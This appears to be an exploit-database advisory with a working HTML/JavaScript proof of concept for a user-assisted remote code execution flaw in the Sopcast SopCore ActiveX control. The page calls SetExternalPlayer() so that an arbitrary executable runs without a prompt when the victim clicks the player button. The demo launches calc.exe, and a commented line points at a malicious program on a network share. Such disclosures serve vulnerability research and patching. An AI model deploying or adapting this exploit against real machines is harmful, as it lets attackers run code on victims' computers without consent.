Sopcast SopCore Control (sopocx.ocx SetExternalPlayer() user assisted remote code execution poc

2009-03-08 / 2009-03-09
Credit: nospam
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- Sopcast SopCore Control (sopocx.ocx SetExternalPlayer() user assisted remote code execution poc by Nine:Situations:Group::surfista (IE7/8) our site: software site: Through the SetExternalPlayer() method and the ExternalPlayer property is possible to associate an arbitrary executable to the "external player" button (for clearness see where the player control buttons are showed) which opens Windows Media Player by default. When the user click this button, the executable is launched without prompts Also this value is stored in config.xml, inside the sopcast local folder for further use, ex. with the sopcast client application Note: this control is safe for scripting and safe for initialization --> <HTML> <HEAD> <script language="Javascript" type="text/JavaScript"> window.onload=function() { SopPlayer.InitPlayer(); //SopPlayer.SetExternalPlayer("\\\\\\c$\\PATH\\TO\\MALICIOUS_ PROGRAM.EXE"); SopPlayer.SetExternalPlayer("c:\\WINDOWS\\system32\\calc.exe"); SopPlayer.SetSopAddress("sop://"); //A LIVE CHANNEL ... SopPlayer.SetChannelName("CCTV5"); SopPlayer.Play(); } </script> </HEAD> <BODY> <OBJECT ID="SopPlayer" name="SopPlayer" CLASSID=clsid:8FEFF364-6A5F-4966-A917-A3AC28411659 HEIGHT=375 WIDTH=375> </OBJECT> </BODY> </HTML> original url:


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